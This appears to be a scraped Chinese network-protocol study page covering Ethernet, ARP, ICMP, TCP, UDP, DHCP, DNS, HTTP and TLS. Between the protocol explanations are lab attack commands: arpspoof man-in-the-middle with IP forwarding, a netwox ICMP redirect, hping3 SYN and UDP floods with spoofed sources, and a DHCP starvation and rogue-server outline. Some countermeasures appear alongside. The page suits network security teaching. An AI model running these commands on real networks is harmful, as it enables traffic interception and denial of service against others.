赞
踩
Ethernet(以太网)是一种计算机网络协议,用于在局域网中传输数据。它是最常用的有线局域网技术之一,采用CSMA/CD(载波侦听多路访问/冲突检测)技术来解决网络冲突的问题。
Ethernet协议定义了物理层和数据链路层的规范,它包括以下几个方面:
当DSAP和SSAP都取特定值0xff时,802.3帧就变成了Netware-ETHERNET帧,用来承载NetWare类型的数据。
当DSAP和SSAP都取特定值0xaa时,802.3帧就变成了ETHERNET_SNAP帧。ETHERNET_SNAP帧可以用于传输多种协议。
DSAP和SSAP其他的取值均为纯IEEE802.3帧。
apt-get install -y dsniff
# arp攻击:攻击主机告诉靶机(10.1),我是网关(10.254),你要上网的话就把数据发送给我
#结果:造成靶机断网
# -t 攻击的目标地址 自己设置的地址
arpspoof -t 192.168.10.1 192.168.10.254
# arp欺骗,同时欺骗靶机和网关,相当于中间人的身份,靶机和网关直接的数据交换,需要经由攻击主机来转发
# 攻击主机开启转发功能:/proc/sys/net/ipv4下的ip_forward中,默认值为0(关闭状态),修改为1,开启转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 对靶机进行欺骗,告诉靶机我是网关
arpspoof -t 192.168.10.1 192.168.10.254
# 对网关进行欺骗,告诉网关我是靶机
arpspoof -t 192.168.10.254 192.168.10.1
arp -s IP地址 MAC地址
- 通过netsh添加邻居地址
netsh interface ip add neighbors "主机名" "IP地址" "MAC地址"
属于网络层协议,网络层封装的IP头部,网络层所传输的是IP数据包
ICMP重定向报文是ICMP控制报文中的一种。在特定的情况下,当路由器检测到一台机器使用非优化路由的时候,它会向该主机发送一个ICMP重定向报文,请求主机改变路由。路由器也会把初始数据报向它的目的地转发。
PC去访问192.168.20.20,正常情况下交给自己的网关R1,再由R1转发给R2,从而路线就是属于非优化路由
# R1配置 en #进入特权模式 conf t #进入全局配置模式 int f0/0 #进入f0/0接口 ip add 192.168.1.100 255.255.255.0 #为接口添加一个IP地址 no shut #开启接口 int loopback 0 #进入本地回环接口 ip add 192.168.10.10 255.255.255.0 #为回环接口添加一个IP地址 no shut # R2配置 en conf t int f0/0 ip add 192.168.1.200 255.255.255.0 no shut int loopback 0 ip add 192.168.20.20 255.255.255.0 no shut # PC配置 en conf t int f0/0 ip add 192.168.1.10 255.255.255.0 no shut exit no ip routing #PC使用的是路由器模拟,关闭设备路由功能 ip default-gateway 192.168.1.100 #为主机设置网关为1.100
# 在kali上使用netwox工具实施icmp重定向网关
#安装 netwox 工具
apt-get install -y netwox
#实施 ICMP 重定向,直接指定网关,使用 86 模块
netwox 86 -g ...
TCP(Transmission Control Protocol)是一种在计算机网络中广泛使用的传输层协议。它提供了可靠的、面向连接的数据传输,确保数据的准确性、完整性和顺序性。
在数据传输之前需要去进行连接的建立,数据传输完成后需要连接的释放,单播通信(点到点),可靠的传输
SYN(seq=x,SYN=1)
报文,表示请求建立连接。此时客户机处于SYN_SENT
状态,等待服务器确认。SYN-ACK(SYN=1, ACK=1, seq=y, ack=x+1)
报文。此时服务器处于SYN_RCVD
状态。ACK(ACK=1, ack=y+1)
报文,表示确认服务器响应。此时客户机和服务器都处于ESTABLISHED
状态,表示已经成功建立连接。
SYN=1
表示请求连接;SYN=1 ACK=1 表示对方同意连接;ACK=1 表示前面的确认字段有效SYN_SENT
:客户机去建立连接状态LISTEN
:服务器监听某个端口状态,被动等待连接SYN-RCVD
:服务器等待客户机进行第三次握手(半连接状态)ESTABLISHED
:已经建立连接状态以客户机主动断开连接为例
FIN(seq=u)
报文,表示要断开TCP连接。此时客户端处于FIN_WAIT_1
状态,等待服务器响应。ACK(ACK=1, seq=v,ack=u+1)
报文,表示已经收到客户端的请求。此时服务器处于CLOSE_WAIT
状态。FIN-ACK(FIN=1, ACK=1, seq=w, ack=u+1)
报文。此时服务器处于LAST_ACK
状态。ACK(ACK=1, seq=u+1,ack=w+1)
报文,表示确认服务器请求。此时客户端处于TIME_WAIT状态,等待一段时间(通常为2MSL)后才会转换为CLOSED
状态。
CLOSE_WAIT
:一般是服务器的关闭等待状态(服务器还未完成数据传输,等待数据传输完成后再发送FIN+ACK报文断开连接)TIME_WAIT
:一般是客户机超时等待时间(一般为两秒),客户机完成4次挥手后,等待2秒后关闭连接urgent (URG)
:紧急位,表示本报文段中发送的数据是否包含紧急数据。URG=1 时表示有紧急数据。当 URG=1 时,后面的紧急指针字段才有效Acknowledgment (ACK)
:表示前面的确认号字段是否有效。ACK=1 时表示有效。只有当 ACK=1 时,前面的确认号字段才有效。TCP 规定,连接建立后,ACK 必须为 1。Push (PSH)
:告诉对方收到该报文段后是否立即把数据推送给上层。如果值为 1,表示应当立即把数据提交给上层,而不是缓存起来Reset (RST)
:表示是否重置连接。如果 RST=1,说明 TCP 连接出现了严重错误(如主机崩溃),必须释放连接,然后再重新建立连接Syn (SYN)
:在建立连接时使用,用来同步序号。当 SYN=1,ACK=0 时,表示这是一个请求建立连接的报文段;当 SYN=1,ACK=1 时,表示对方同意建立连接。SYN=1 时,说明这是一个请求建立连接或同意建立连接的报文。只有在前两次握手中 SYN 才为 1Fin (FIN)
:标记数据是否发送完毕。如果 FIN=1,表示数据已经发送完成,可以释放连接客户机向服务器发送SYN报文后,服务器响应SYN+ACK报文后,客户机不进行第三次握手,从而服务器就会进入半连接状态,服务器就需要消耗一部分资源来保持这个连接,Windows操作系统中,默认情况,内核参数已经配置了防此攻击行为
# 使用kali作为攻击主机
hping3 -S -p 80 --flood --rand-source -d 10000 -c 1000 192.168.88.203
# -S 只发送SYN报文
# -p 80 指定目标端口
# --flood 尽可能快速发送
# --rand-source 指定随机地址发送
# -d 指定数据包大小
# -c 指定每次发送的数据包个数
hping3 -q -n --rand-source --udp -p 53 --flood 192.168.2.100 -d 1000
# -q 安静模式
# -n 数字化输出,象征性输出主机地址
# --rand-source 随机源地址
# --udp UDP模式
# -p 目标端口
# --flood 尽最快发送数据包,不显示回复
# -d 发送数据包大小
UDP协议与TCP协议不同,是无连接状态的协议,因此针对UDP Flood的防护非常困难,UDP攻击是一种互损的攻击方式,消耗对方资源的同时也消耗攻击者本身的资源
1、使用防火墙防御DDOS
主要是为局域网中的客户机去提供TCP/IP参数(IP地址、子网掩码、默认网关、DNS服务器地址)
发现阶段
,即DHCP客户机寻找DHCP服务器的阶段。DHCP客户机以广播方式(因为DHCP服务器的IP地址对于客户机来说是未知的)发送DHCP discover发现信息来寻找DHCP服务器。网络上每一台安装了TCP/IP协议的主机都会接收到这种广播信息,但只有DHCP服务器才会做出响应。如果说没有寻找到DHCP服务器,客户机就会给自己配置一个169.254网段的IP地址。(广播)提供阶段
,即DHCP服务器提供IP地址的阶段。在网络中接收到DHCP discover发现信息的DHCP服务器都会做出响应,它从尚未出租的IP地址中挑选一个分配给DHCP客户机,向DHCP客户机发送一个包含出租的IP地址和其他设置的DHCP offer提供信息。(广播)选择阶段
,即DHCP客户机选择某台DHCP服务器提供的IP地址的阶段。如果有多台DHCP服务器向DHCP客户机发来的DHCP offer提供信息,则DHCP客户机只接受第一个收到的DHCP offer提供信息,然后它就以广播方式回答一个DHCP request请求信息,该信息中包含向它所选定的DHCP服务器请求IP地址的内容。之所以要以广播方式回答,是为了通知所有的DHCP服务器,他将选择某台DHCP服务器所提供的IP地址。(广播)确认阶段
,即DHCP服务器确认所提供的IP地址的阶段。当DHCP服务器收到DHCP客户机回答的DHCP request请求信息之后,它便向DHCP客户机发送一个包含它所提供的IP地址和其他设置的DHCP ack确认信息,告诉DHCP客户机可以使用它所提供的IP地址。然后DHCP客户机便将其TCP/IP协议与网卡绑定,另外,除DHCP客户机选中的服务器外,其他的DHCP服务器都将收回曾提供的IP地址。(广播)重新登录
。以后DHCP客户机每次重新登录网络时,就不需要再发送DHCP discover发现信息了,而是直接发送包含前一次所分配的IP地址的DHCP request请求信息。当DHCP服务器收到这一信息后,它会尝试让DHCP客户机继续使用原来的IP地址,并回答一个DHCP ack确认信息。如果此IP地址已无法再分配给原来的DHCP客户机使用时(比如此IP地址已分配给其它DHCP客户机使用),则DHCP服务器给DHCP客户机回答一个DHCP nack否认信息。当原来的DHCP客户机收到此DHCP nack否认信息后,它就必须重新发送DHCP discover发现信息来请求新的IP地址。更新租约
。DHCP服务器向DHCP客户机出租的IP地址一般都有一个租借期限,期满后DHCP服务器便会收回出租的IP地址。如果DHCP客户机要延长其IP租约,则必须更新其IP租约。DHCP客户机启动时和IP租约期限过50%时,DHCP客户机都会自动向DHCP服务器发送更新其IP租约的信息。(单播)当租约时间达到87.5%
的时候,客户机会判定原本的DHCP服务器不存在,会继续向网络中去发送DHCP request报文(广播),寻找是否有其他DHCP服务器为我提供我当前的IP的地址。当租约时间到达100%时
,客户机会主动释放自己当前的IP地址参数,重新去寻找网络中的DHCP服务器,发送DHCP discover报文。DHCP discover
:这是 DHCP 客户端首次登录网络时进行 DHCP 过程的第一个报文,用来寻找 DHCP 服务器。DHCP offer
:DHCP服务器用来响应DHCP DISCOVER报文,此报文携带了各种配置信息。DHCP request
:此报文用于以下三种用途:
DHCP Ack
:服务器对客户端的 DHCP REQUEST 报文的确认响应报文,客户端收到此报文后,才真正获得了 IP 地址和相关的配置信息。DHCP NAK
:当客户机发送DHCP request广播报文时,网络中的DHCP服务器无法为客户机提供客户机提供请求的IP地址时,发送NAK报文进行拒绝DHCP inform
:客户端已经获得了 IP 地址,发送此报文的目的是为了从服务器获得其他的一些网络配置信息,比如网关地址、DNS 服务器地址等。DHCP release
:客户端主动释放当前的TCP/IP参数DHCP decline
:当客户端发现服务器分配给它的 IP 地址发生冲突时会通过发送此报文来通知服务器,并且会重新向服务器申请地址。使用DHCP Dos攻击去把原本的DHCP服务器地址池占满,新加入的客户机就无法从原本的DHCP服务器上获取IP参数,再伪造一台DHCP服务器出来为新加入的客户机提供IP参数,达到欺骗效果。
将域名和IP地址相互映射
.
表示,全球只有13个根域服务器com商业、edu教育、org非盈利性组织...
、地区或国家cn中国、hk香港、us美国
).com
这个顶级域名下添加一个子域example.com
,则example
就是二级域名。example.com
这个主域名下添加一个子域subdomain.example.com
,则subdomain
就是二级子域。www.example.com
是一个 FQDN,其中 www
是主机名,example.com
是域名。 一个二级域名UDP/53:DNS 查询通常使用 UDP 协议在 53 端口上进行传输。
TCP/53:特定情况下会使用TCP协议的53端口进行数据传输。
应用层的文件传输协议,用于在网络上进行文件传输。
超文本传输协议,主要用于浏览器和服务器之间进行数据传输。
TCP/80
Host
:指定请求的目标服务器主机名和端口号User-Agent
:指定客户端程序的名称、版本号和操作系统等信息Referer
:请求中URL的原始获取方Accept
:客户端可接受的MIME类型Accept-Language
:客户端期望接受的自然语言类型Accept-Encoding
:客户端能够进行解码的数据编码方式Authorization
:客户端的身份信息验证Accept-Ranges
:服务器指定它对某个资源请求的可接受范围Age
:服务器规定自服务器生成该响应以来所经过的时间,以秒为单位,主要用于缓存响应Etag
:提供实体标签的当前值Location
:因资源已经移动,把请求重定向至另一个位置,与状态编码302或者301配合使用Proxy-Authenticate
:类似于WWW-Authenticate,但回应的是来自请求链(代理)的下一个服务器的认证Retry-After
:由服务器与状态编码503 ( 无法提供服务)配合发送,以标明再次请求之前应该等待多长时间Server
:标明Web服务器软件及其版本号Vary
:用于代理是否可以使用缓存中的数据响应客户端的请求WWW-Authenticate
:提示客户端提供用户名和密码进行认证,与状态编码401 (未提权)配合使用530application/x-www-form-urlencoded
(URL encoded)
multipart/form-data
(键值对型数据)application/json
(Json 类型数据)text/xml
(xml)http+ssl(tls),安全套接层(安全的传输层)
广泛使用的是TCP/443,也有一部分使用的是UDP/443
摘要算法又称哈希算法、散列算法。将任意长度的数据转换为一个长度固定的数据串(通常用16进制的字符串表示)
握手阶段一(Client Hello)客户机发起握手消息
Client Hello
:告诉服务器自己所支持的加密套件,生成一个随机数XServer Hello
:服务器选择客户机所支持的一个加密套件,生成一个随机数yCertificate
:服务器将自己的证书发送给客户机Server Key Exchange
:服务器开始进行密钥交互去生成对称密钥,产生一个pubkey发送给客户机Server Hello Done
:服务器告诉客户机握手报文结束握手阶段三(Client Key Exchange,Change Cipher Spec,Encrypted Handshake Message )客户端进行密钥协商完成DH过程(因为主密钥是由客户端和服务器的随机数共同生成),随即改变密码规范,告诉服务器启用加密参数
Client Key Exchange
:客户机开始进行密钥交互去生成对称密钥,产生一个pubkey发送给服务器。Change Cipher Spec
:根据服务器发来的pubkey生成对称密钥,改变密码规范。Encrypted Handshake Message
:客户端完成握手阶段,加密握手消息。握手阶段四(Change Cipher Spec,Encrypted Handshake Message)服务器响应客户端改变密码规范,启用加密参数
Change Cipher Spec
:根据客户机发来的pubkey生成对称密钥,改变密码规范。Encrypted Handshake Message
:服务器完成握手阶段,加密握手消息SMTP
(Simple Mail Transfer Protocol,简单邮件传输协议)和POP3
(Post Office Protocol version 3,邮局协议第三版)/IMAP
(Internet Message Access Protocol,互联网信息访问协议)。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。